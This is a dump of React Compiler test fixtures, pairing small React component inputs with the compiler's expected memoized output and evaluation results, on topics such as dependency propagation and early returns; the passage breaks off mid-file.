    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-reordering-depslist-controlflow.tsx",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nfunction Foo({arr1, arr2, foo}) {\n  const x = [arr1];\n\n  let y = [];\n\n  const val1 = useMemo(() => {\n    return {x: 2};\n  }, []);\n\n  const val2 = useMemo(() => {\n    return [y];\n  }, [foo ? (y = x.concat(arr2)) : y]);\n\n  return <Stringify val1={val1} val2={val2} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{arr1: [1, 2], arr2: [3, 4], foo: true}],\n  sequentialRenders: [\n    {arr1: [1, 2], arr2: [3, 4], foo: true},\n    {arr1: [1, 2], arr2: [3, 4], foo: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-with-no-depslist.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\n\n// Compiler can produce any memoization it finds valid if the\n// source listed no memo deps\nfunction Component({propA}) {\n  // @ts-ignore\n  return useMemo(() => {\n    return [propA];\n  });\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propA: 2}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\nimport { useMemo } from \"react\";\n\n// Compiler can produce any memoization it finds valid if the\n// source listed no memo deps\nfunction Component(t0) {\n  const $ = _c(2);\n  const { propA } = t0;\n  let t1;\n  if ($[0] !== propA) {\n    t1 = [propA];\n    $[0] = propA;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ propA: 2 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [2]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-with-no-depslist.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\n\n// Compiler can produce any memoization it finds valid if the\n// source listed no memo deps\nfunction Component({propA}) {\n  // @ts-ignore\n  return useMemo(() => {\n    return [propA];\n  });\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propA: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-use-memo-transition-no-ispending.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\nimport {useCallback, useTransition} from 'react';\n\nfunction useFoo() {\n  const [, /* isPending intentionally not captured */ start] = useTransition();\n\n  return useCallback(() => {\n    start();\n  }, []);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\nimport { useCallback, useTransition } from \"react\";\n\nfunction useFoo() {\n  const $ = _c(1);\n  const [, start] = useTransition();\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => {\n      start();\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=0 ]]\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-use-memo-transition-no-ispending.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees\nimport {useCallback, useTransition} from 'react';\n\nfunction useFoo() {\n  const [, /* isPending intentionally not captured */ start] = useTransition();\n\n  return useCallback(() => {\n    start();\n  }, []);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-use-memo-unused-state.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\nimport {useCallback, useTransition} from 'react';\n\nfunction useFoo() {\n  const [, /* state value intentionally not captured */ setState] = useState();\n\n  return useCallback(() => {\n    setState(x => x + 1);\n  }, []);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\nimport { useCallback, useTransition } from \"react\";\n\nfunction useFoo() {\n  const $ = _c(1);\n  const [, setState] = useState();\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => {\n      setState(_temp);\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\nfunction _temp(x) {\n  return x + 1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: exception) useState is not defined"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-use-memo-unused-state.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees\nimport {useCallback, useTransition} from 'react';\n\nfunction useFoo() {\n  const [, /* state value intentionally not captured */ setState] = useState();\n\n  return useCallback(() => {\n    setState(x => x + 1);\n  }, []);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-alias-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a) {\n  let x = 'foo';\n  if (a) {\n    x = 'bar';\n  } else {\n    x = 'baz';\n  }\n  let y = x;\n  mutate(y);\n  return y;\n}\n\n```\n\n## Code\n\n```javascript\nfunction component(a) {\n  let x;\n  if (a) {\n    x = \"bar\";\n  } else {\n    x = \"baz\";\n  }\n\n  const y = x;\n  mutate(y);\n  return y;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-alias-mutate.js",
    "content": "function component(a) {\n  let x = 'foo';\n  if (a) {\n    x = 'bar';\n  } else {\n    x = 'baz';\n  }\n  let y = x;\n  mutate(y);\n  return y;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-as-dep-nested-scope.expect.md",
    "content": "\n## Input\n\n```javascript\n// props.b + 1 is an non-allocating expression, which means Forget can\n// emit it trivially and repeatedly (e.g. no need to memoize props.b + 1\n// separately from props.b)\n// Correctness:\n\nimport {identity, mutate, setProperty} from 'shared-runtime';\n\n//   y depends on either props.b or props.b + 1\nfunction PrimitiveAsDepNested(props) {\n  let x = {};\n  mutate(x);\n  let y = identity(props.b + 1);\n  setProperty(x, props.a);\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: PrimitiveAsDepNested,\n  params: [{a: 1, b: 2}],\n  sequentialRenders: [\n    // change b\n    {a: 1, b: 3},\n    // change b\n    {a: 1, b: 4},\n    // change a\n    {a: 2, b: 4},\n    // change a\n    {a: 3, b: 4},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // props.b + 1 is an non-allocating expression, which means Forget can\n// emit it trivially and repeatedly (e.g. no need to memoize props.b + 1\n// separately from props.b)\n// Correctness:\n\nimport { identity, mutate, setProperty } from \"shared-runtime\";\n\n//   y depends on either props.b or props.b + 1\nfunction PrimitiveAsDepNested(props) {\n  const $ = _c(5);\n  let t0;\n  if ($[0] !== props.a || $[1] !== props.b) {\n    const x = {};\n    mutate(x);\n    const t1 = props.b + 1;\n    let t2;\n    if ($[3] !== t1) {\n      t2 = identity(t1);\n      $[3] = t1;\n      $[4] = t2;\n    } else {\n      t2 = $[4];\n    }\n    const y = t2;\n    setProperty(x, props.a);\n    t0 = [x, y];\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: PrimitiveAsDepNested,\n  params: [{ a: 1, b: 2 }],\n  sequentialRenders: [\n    // change b\n    { a: 1, b: 3 },\n    // change b\n    { a: 1, b: 4 },\n    // change a\n    { a: 2, b: 4 },\n    // change a\n    { a: 3, b: 4 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"wat0\":\"joe\",\"wat1\":1},4]\n[{\"wat0\":\"joe\",\"wat1\":1},5]\n[{\"wat0\":\"joe\",\"wat1\":2},5]\n[{\"wat0\":\"joe\",\"wat1\":3},5]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-as-dep-nested-scope.js",
    "content": "// props.b + 1 is an non-allocating expression, which means Forget can\n// emit it trivially and repeatedly (e.g. no need to memoize props.b + 1\n// separately from props.b)\n// Correctness:\n\nimport {identity, mutate, setProperty} from 'shared-runtime';\n\n//   y depends on either props.b or props.b + 1\nfunction PrimitiveAsDepNested(props) {\n  let x = {};\n  mutate(x);\n  let y = identity(props.b + 1);\n  setProperty(x, props.a);\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: PrimitiveAsDepNested,\n  params: [{a: 1, b: 2}],\n  sequentialRenders: [\n    // change b\n    {a: 1, b: 3},\n    // change b\n    {a: 1, b: 4},\n    // change a\n    {a: 2, b: 4},\n    // change a\n    {a: 3, b: 4},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-as-dep.expect.md",
    "content": "\n## Input\n\n```javascript\n// props.b + 1 is an non-allocating expression, which means Forget can\n// emit it trivially and repeatedly (e.g. no need to memoize props.b + 1\n// separately from props.b)\n// Correctness:\n//   y depends on either props.b or props.b + 1\nfunction PrimitiveAsDep(props) {\n  let y = foo(props.b + 1);\n  return y;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // props.b + 1 is an non-allocating expression, which means Forget can\n// emit it trivially and repeatedly (e.g. no need to memoize props.b + 1\n// separately from props.b)\n// Correctness:\n//   y depends on either props.b or props.b + 1\nfunction PrimitiveAsDep(props) {\n  const $ = _c(2);\n  const t0 = props.b + 1;\n  let t1;\n  if ($[0] !== t0) {\n    t1 = foo(t0);\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const y = t1;\n  return y;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-as-dep.js",
    "content": "// props.b + 1 is an non-allocating expression, which means Forget can\n// emit it trivially and repeatedly (e.g. no need to memoize props.b + 1\n// separately from props.b)\n// Correctness:\n//   y depends on either props.b or props.b + 1\nfunction PrimitiveAsDep(props) {\n  let y = foo(props.b + 1);\n  return y;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-reassigned-loop-force-scopes-enabled.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees\nfunction Component({base, start, increment, test}) {\n  let value = base;\n  for (let i = start; i < test; i += increment) {\n    value += i;\n  }\n  return <div>{value}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{base: 0, start: 0, test: 10, increment: 1}],\n  sequentialRenders: [\n    {base: 0, start: 1, test: 10, increment: 1},\n    {base: 0, start: 0, test: 10, increment: 2},\n    {base: 2, start: 0, test: 10, increment: 2},\n    {base: 0, start: 0, test: 11, increment: 2},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees\nfunction Component(t0) {\n  const $ = _c(2);\n  const { base, start, increment, test } = t0;\n  let value = base;\n  for (let i = start; i < test; i = i + increment, i) {\n    value = value + i;\n  }\n  let t1;\n  if ($[0] !== value) {\n    t1 = <div>{value}</div>;\n    $[0] = value;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ base: 0, start: 0, test: 10, increment: 1 }],\n  sequentialRenders: [\n    { base: 0, start: 1, test: 10, increment: 1 },\n    { base: 0, start: 0, test: 10, increment: 2 },\n    { base: 2, start: 0, test: 10, increment: 2 },\n    { base: 0, start: 0, test: 11, increment: 2 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>45</div>\n<div>20</div>\n<div>22</div>\n<div>30</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-reassigned-loop-force-scopes-enabled.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees\nfunction Component({base, start, increment, test}) {\n  let value = base;\n  for (let i = start; i < test; i += increment) {\n    value += i;\n  }\n  return <div>{value}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{base: 0, start: 0, test: 10, increment: 1}],\n  sequentialRenders: [\n    {base: 0, start: 1, test: 10, increment: 1},\n    {base: 0, start: 0, test: 10, increment: 2},\n    {base: 2, start: 0, test: 10, increment: 2},\n    {base: 0, start: 0, test: 11, increment: 2},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prop-capturing-function-1.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a, b) {\n  let z = {a, b};\n  let x = function () {\n    console.log(z);\n  };\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(a, b) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] !== a || $[1] !== b) {\n    const z = { a, b };\n    t0 = function () {\n      console.log(z);\n    };\n    $[0] = a;\n    $[1] = b;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  const x = t0;\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prop-capturing-function-1.js",
    "content": "function component(a, b) {\n  let z = {a, b};\n  let x = function () {\n    console.log(z);\n  };\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/conditional-break-labeled.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\n/**\n * props.b *does* influence `a`\n */\nfunction Component(props) {\n  const a = [];\n  a.push(props.a);\n  label: {\n    if (props.b) {\n      break label;\n    }\n    a.push(props.c);\n  }\n  a.push(props.d);\n  return a;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\n/**\n * props.b *does* influence `a`\n */\nfunction Component(props) {\n  const $ = _c(5);\n  let a;\n  if (\n    $[0] !== props.a ||\n    $[1] !== props.b ||\n    $[2] !== props.c ||\n    $[3] !== props.d\n  ) {\n    a = [];\n    a.push(props.a);\n    bb0: {\n      if (props.b) {\n        break bb0;\n      }\n\n      a.push(props.c);\n    }\n\n    a.push(props.d);\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = props.c;\n    $[3] = props.d;\n    $[4] = a;\n  } else {\n    a = $[4];\n  }\n  return a;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/conditional-break-labeled.js",
    "content": "// @enablePropagateDepsInHIR\n/**\n * props.b *does* influence `a`\n */\nfunction Component(props) {\n  const a = [];\n  a.push(props.a);\n  label: {\n    if (props.b) {\n      break label;\n    }\n    a.push(props.c);\n  }\n  a.push(props.d);\n  return a;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/conditional-early-return.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\n/**\n * props.b does *not* influence `a`\n */\nfunction ComponentA(props) {\n  const a_DEBUG = [];\n  a_DEBUG.push(props.a);\n  if (props.b) {\n    return null;\n  }\n  a_DEBUG.push(props.d);\n  return a_DEBUG;\n}\n\n/**\n * props.b *does* influence `a`\n */\nfunction ComponentB(props) {\n  const a = [];\n  a.push(props.a);\n  if (props.b) {\n    a.push(props.c);\n  }\n  a.push(props.d);\n  return a;\n}\n\n/**\n * props.b *does* influence `a`, but only in a way that is never observable\n */\nfunction ComponentC(props) {\n  const a = [];\n  a.push(props.a);\n  if (props.b) {\n    a.push(props.c);\n    return null;\n  }\n  a.push(props.d);\n  return a;\n}\n\n/**\n * props.b *does* influence `a`\n */\nfunction ComponentD(props) {\n  const a = [];\n  a.push(props.a);\n  if (props.b) {\n    a.push(props.c);\n    return a;\n  }\n  a.push(props.d);\n  return a;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: ComponentA,\n  params: [{a: 1, b: false, d: 3}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\n/**\n * props.b does *not* influence `a`\n */\nfunction ComponentA(props) {\n  const $ = _c(5);\n  let a_DEBUG;\n  let t0;\n  if ($[0] !== props.a || $[1] !== props.b || $[2] !== props.d) {\n    t0 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      a_DEBUG = [];\n      a_DEBUG.push(props.a);\n      if (props.b) {\n        t0 = null;\n        break bb0;\n      }\n\n      a_DEBUG.push(props.d);\n    }\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = props.d;\n    $[3] = a_DEBUG;\n    $[4] = t0;\n  } else {\n    a_DEBUG = $[3];\n    t0 = $[4];\n  }\n  if (t0 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t0;\n  }\n  return a_DEBUG;\n}\n\n/**\n * props.b *does* influence `a`\n */\nfunction ComponentB(props) {\n  const $ = _c(5);\n  let a;\n  if (\n    $[0] !== props.a ||\n    $[1] !== props.b ||\n    $[2] !== props.c ||\n    $[3] !== props.d\n  ) {\n    a = [];\n    a.push(props.a);\n    if (props.b) {\n      a.push(props.c);\n    }\n\n    a.push(props.d);\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = props.c;\n    $[3] = props.d;\n    $[4] = a;\n  } else {\n    a = $[4];\n  }\n  return a;\n}\n\n/**\n * props.b *does* influence `a`, but only in a way that is never observable\n */\nfunction ComponentC(props) {\n  const $ = _c(6);\n  let a;\n  let t0;\n  if (\n    $[0] !== props.a ||\n    $[1] !== props.b ||\n    $[2] !== props.c ||\n    $[3] !== props.d\n  ) {\n    t0 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      a = [];\n      a.push(props.a);\n      if (props.b) {\n        a.push(props.c);\n        t0 = null;\n        break bb0;\n      }\n\n      a.push(props.d);\n    }\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = props.c;\n    $[3] = props.d;\n    $[4] = a;\n    $[5] = t0;\n  } else {\n    a = $[4];\n    t0 = $[5];\n  }\n  if (t0 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t0;\n  }\n  return a;\n}\n\n/**\n * props.b *does* influence `a`\n */\nfunction ComponentD(props) {\n  const $ = _c(6);\n  let a;\n  let t0;\n  if (\n    $[0] !== props.a ||\n    $[1] !== props.b ||\n    $[2] !== props.c ||\n    $[3] !== props.d\n  ) {\n    t0 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      a = [];\n      a.push(props.a);\n      if (props.b) {\n        a.push(props.c);\n        t0 = a;\n        break bb0;\n      }\n\n      a.push(props.d);\n    }\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = props.c;\n    $[3] = props.d;\n    $[4] = a;\n    $[5] = t0;\n  } else {\n    a = $[4];\n    t0 = $[5];\n  }\n  if (t0 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t0;\n  }\n  return a;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: ComponentA,\n  params: [{ a: 1, b: false, d: 3 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [1,3]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/conditional-early-return.js",
    "content": "// @enablePropagateDepsInHIR\n/**\n * props.b does *not* influence `a`\n */\nfunction ComponentA(props) {\n  const a_DEBUG = [];\n  a_DEBUG.push(props.a);\n  if (props.b) {\n    return null;\n  }\n  a_DEBUG.push(props.d);\n  return a_DEBUG;\n}\n\n/**\n * props.b *does* influence `a`\n */\nfunction ComponentB(props) {\n  const a = [];\n  a.push(props.a);\n  if (props.b) {\n    a.push(props.c);\n  }\n  a.push(props.d);\n  return a;\n}\n\n/**\n * props.b *does* influence `a`, but only in a way that is never observable\n */\nfunction ComponentC(props) {\n  const a = [];\n  a.push(props.a);\n  if (props.b) {\n    a.push(props.c);\n    return null;\n  }\n  a.push(props.d);\n  return a;\n}\n\n/**\n * props.b *does* influence `a`\n */\nfunction ComponentD(props) {\n  const a = [];\n  a.push(props.a);\n  if (props.b) {\n    a.push(props.c);\n    return a;\n  }\n  a.push(props.d);\n  return a;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: ComponentA,\n  params: [{a: 1, b: false, d: 3}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/conditional-on-mutable.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nfunction ComponentA(props) {\n  const a = [];\n  const b = [];\n  if (b) {\n    a.push(props.p0);\n  }\n  if (props.p1) {\n    b.push(props.p2);\n  }\n  return <Foo a={a} b={b} />;\n}\n\nfunction ComponentB(props) {\n  const a = [];\n  const b = [];\n  if (mayMutate(b)) {\n    a.push(props.p0);\n  }\n  if (props.p1) {\n    b.push(props.p2);\n  }\n  return <Foo a={a} b={b} />;\n}\n\nfunction Foo() {}\nfunction mayMutate() {}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nfunction ComponentA(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== props.p0 || $[1] !== props.p1 || $[2] !== props.p2) {\n    const a = [];\n    const b = [];\n    if (b) {\n      a.push(props.p0);\n    }\n    if (props.p1) {\n      b.push(props.p2);\n    }\n    t0 = <Foo a={a} b={b} />;\n    $[0] = props.p0;\n    $[1] = props.p1;\n    $[2] = props.p2;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  return t0;\n}\n\nfunction ComponentB(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== props.p0 || $[1] !== props.p1 || $[2] !== props.p2) {\n    const a = [];\n    const b = [];\n    if (mayMutate(b)) {\n      a.push(props.p0);\n    }\n    if (props.p1) {\n      b.push(props.p2);\n    }\n    t0 = <Foo a={a} b={b} />;\n    $[0] = props.p0;\n    $[1] = props.p1;\n    $[2] = props.p2;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  return t0;\n}\n\nfunction Foo() {}\nfunction mayMutate() {}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/conditional-on-mutable.js",
    "content": "// @enablePropagateDepsInHIR\nfunction ComponentA(props) {\n  const a = [];\n  const b = [];\n  if (b) {\n    a.push(props.p0);\n  }\n  if (props.p1) {\n    b.push(props.p2);\n  }\n  return <Foo a={a} b={b} />;\n}\n\nfunction ComponentB(props) {\n  const a = [];\n  const b = [];\n  if (mayMutate(b)) {\n    a.push(props.p0);\n  }\n  if (props.p1) {\n    b.push(props.p2);\n  }\n  return <Foo a={a} b={b} />;\n}\n\nfunction Foo() {}\nfunction mayMutate() {}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/early-return-nested-early-return-within-reactive-scope.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nfunction Component(props) {\n  let x = [];\n  if (props.cond) {\n    x.push(props.a);\n    if (props.b) {\n      const y = [props.b];\n      x.push(y);\n      // oops no memo!\n      return x;\n    }\n    // oops no memo!\n    return x;\n  } else {\n    return foo();\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, a: 42, b: 3.14}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nfunction Component(props) {\n  const $ = _c(7);\n  let t0;\n  if ($[0] !== props.a || $[1] !== props.b || $[2] !== props.cond) {\n    t0 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      const x = [];\n      if (props.cond) {\n        x.push(props.a);\n        if (props.b) {\n          let t1;\n          if ($[4] !== props.b) {\n            t1 = [props.b];\n            $[4] = props.b;\n            $[5] = t1;\n          } else {\n            t1 = $[5];\n          }\n          const y = t1;\n          x.push(y);\n          t0 = x;\n          break bb0;\n        }\n\n        t0 = x;\n        break bb0;\n      } else {\n        let t1;\n        if ($[6] === Symbol.for(\"react.memo_cache_sentinel\")) {\n          t1 = foo();\n          $[6] = t1;\n        } else {\n          t1 = $[6];\n        }\n        t0 = t1;\n        break bb0;\n      }\n    }\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = props.cond;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  if (t0 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t0;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: true, a: 42, b: 3.14 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [42,[3.14]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/early-return-nested-early-return-within-reactive-scope.js",
    "content": "// @enablePropagateDepsInHIR\nfunction Component(props) {\n  let x = [];\n  if (props.cond) {\n    x.push(props.a);\n    if (props.b) {\n      const y = [props.b];\n      x.push(y);\n      // oops no memo!\n      return x;\n    }\n    // oops no memo!\n    return x;\n  } else {\n    return foo();\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, a: 42, b: 3.14}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/early-return-within-reactive-scope.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nimport {makeArray} from 'shared-runtime';\n\nfunction Component(props) {\n  let x = [];\n  if (props.cond) {\n    x.push(props.a);\n    // oops no memo!\n    return x;\n  } else {\n    return makeArray(props.b);\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    // pattern 1\n    {cond: true, a: 42},\n    {cond: true, a: 42},\n    // pattern 2\n    {cond: false, b: 3.14},\n    {cond: false, b: 3.14},\n    // pattern 1\n    {cond: true, a: 42},\n    // pattern 2\n    {cond: false, b: 3.14},\n    // pattern 1\n    {cond: true, a: 42},\n    // pattern 2\n    {cond: false, b: 3.14},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nimport { makeArray } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(6);\n  let t0;\n  if ($[0] !== props.a || $[1] !== props.b || $[2] !== props.cond) {\n    t0 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      const x = [];\n      if (props.cond) {\n        x.push(props.a);\n        t0 = x;\n        break bb0;\n      } else {\n        let t1;\n        if ($[4] !== props.b) {\n          t1 = makeArray(props.b);\n          $[4] = props.b;\n          $[5] = t1;\n        } else {\n          t1 = $[5];\n        }\n        t0 = t1;\n        break bb0;\n      }\n    }\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = props.cond;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  if (t0 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return 